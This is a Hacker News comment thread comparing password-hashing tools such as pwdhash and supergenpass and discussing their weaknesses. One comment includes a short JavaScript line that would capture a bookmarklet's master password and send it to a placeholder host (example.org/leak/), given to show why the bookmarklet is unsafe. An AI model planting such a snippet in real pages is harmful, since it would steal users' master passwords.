Hacker News Reader

Comment by gmisra | Hacker News Reader

I am surprised by how few people are aware of this: https://www.pwdhash.com/

Convenience provided via Chrome/Firefox extensions, portability provided by the website.

I second this. I've been using it for a few years now. It gives me great peace of mind knowing that my password on a site like HN is something like "e5wLoMB1kZ". I only have to remember a few passwords and yet each site has a unique password.

Even in the event a leak of plain-text passwords I'm still secure in knowing that my other accounts won't be compromised unless there is a very determined attacker.

However, you do have to put some trust in the extension and the website. Fortunately, the website has some good credentials and the extensions have appeared clean... for now.

Yeah, I did not hear about pwdhash and it sounds like a nice idea.

One thing I have noticed though is that when one enters the same site password, you get the same "Hashed" password back to use. Yes, there is an extra step involved here so that buys you some security but I will be cautious in reusing site passwords.

Imagine an attack where for the top 100 sites in the world, all of the most commonly used passwords are used to generate the "Hashed" (pwdhash) passwords for each site and compile that info into a big list. This can then be added to the candidate list of password that can be tried in cracking leaked hashes.

The take way here is that even though pwdhash gives you domain-specific generated passwords, you will make to sure that you use a different site password as input to pwdhash for each site.

There is also http://supergenpass.com, which uses a JavaScript bookmarklet to do the hashing.

That is an extremely bad idea. Any site you use can put the following JavaScript in their site to obtain your master password next time you use the bookmarklet:

document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = "http://example.org/leak/" + $("#gp2_master").val()})})

You can use an enigmapass or a few of the other browser extensions to avoid this. Also there are iphone and android apps.

I like https://oneshallpass.com/ better since it lets you change some attributes about the passwords generated. So if a site is compromised you can just increment the generation field and get a totally new hash.

Is it protecting from the possibility of web sites being compromised with your data by trusting the website and the extension? How is it better?

Eh, that's awesome. There's an Android app, too, so I can use this on my phone.

They don't seem to mention anywhere which hashing algorithm they use. Also, the lengths are quite small. Any idea why?

It's a start, but you'd need all the mobile platforms on it too.

pwdhash uses a weak hashing mechanism, making it possible to brute-force master passwords. It is OK to use, but make sure that you have a cryptographically strong master password.

Reply on news.ycombinator.com